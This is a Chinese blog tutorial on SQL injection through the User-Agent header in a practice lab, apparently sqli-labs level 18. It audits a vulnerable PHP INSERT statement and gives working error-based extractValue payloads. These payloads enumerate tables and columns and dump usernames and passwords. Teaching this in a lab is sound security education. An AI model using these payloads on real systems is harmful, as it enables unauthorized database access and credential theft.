35岁重学网络安全——SQL注入篇（二十）

鲁迅先生曾经说过：做安全，先免责！

用户在使用本文信息时，应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容：HTTP头部注入——User-agent注入

HTTP头部注入

在页面中找不到注入点时，可以尝试HTTP头注入。常见的注入位置

• User-agent注入
• referer注入
• cookie注入

User-agent注入

User-Agent简称uagent，中文名为用户代理，简称UA，它是一个特殊字符串头，使服务器可以识别客户端使用的操作系统及其版本、CPU类型、浏览器及其版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

代码审计

古人有云：web安全三步走，一扫二审三放弃。 代码审计可以说是很重要的一步。

打开靶场18节的源码

看到第73行，对用户输入的用户名和密码进行检查。

对输入的用户名和密码进行检查的函数。具体检查了三个部分，如下图所示。如果对其中的某些函数不了解，可以自行查阅。

源码中sql语句部分，可以看到uagent没有做安全检查，直接插入到数据库中。

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

向security.uagents表中插入数据

• 此表含有三个字段：uagent、ip_address、username
• VALUE()中的三个参数为插入的值

靶场实战

打开Burp suite，抓取数据包，修改报文头中的user-agent字段的值。

需要输入一个正确的用户名和密码，然后单击提交按钮，Burp suite中可以看到截获的数据包。

在Burp suite的PRoxy选项卡，在数据包详细内容的空白处单击鼠标右键，然后选择将数据包发送到重发器（即Send to Repeater）

在Burp suite中切换到Repeater选项卡中，将User-Agent的内容进行修改。

在上面有说道，是insert语句中产生的注入，insert语句常常与报错注入结合在一起。
因此，这里使用报错注入。

User-Agent内容：' or extractValue(1,concat('^',(select database()))),2,3) #

简单说明一下为什么这么构造注入语句。

源代码中的insert语句如下：

VALUES ('$uagent', '$IP', $uname)：括号内带以$符开头的三个参数，在PHP中表示变量，会被用户输入的内容所替换掉。

因此我们要修改VALUES()中的三个值，来实现报错注入。

• 将$uagent的值设为'，即VALUES(''','$IP', $uname)，由于出现多余的单引号，会产生错误，因此使用注释符，即VALUES('' # ','$IP', $uname)，#后面的内容无效，变为：VALUES('' #
• 因为VALUES()需要三个参数，因此写为VALUES('',2,3) #，VALUES需要右括号闭合，因此#前面加上右括号。
• 在''后面跟上报错注入语句：or extractValue(1,concat('^',(select database())))
• 最终构成：VALUES('' or extractValue(1,concat('^',(select database()))),2,3) #，也就是上面的' or extractValue(1,concat('^',(select database()))),2,3) #的由来。

查询数据表、列名和数据

同理，只要将上面语句中的select database()替换掉即可。

查询表名：' or extractValue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=(database())))),2,3) #

查询列名：' or extractValue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name='users'))),2,3) #

查询数据（报错注入只能显示32个字符，使用substr函数）：
' or extractValue(1,concat('^',(select substr(group_concat(username,':',password),1,30) from users))),2,3) #

无情的广告时间

哈哈哈哈，又到了大家喜欢的广告时间了，公众号：编码魔坊，喜欢的话给个关注呗，点击下方小卡片，扫码即可关注，谢谢您的关注！！！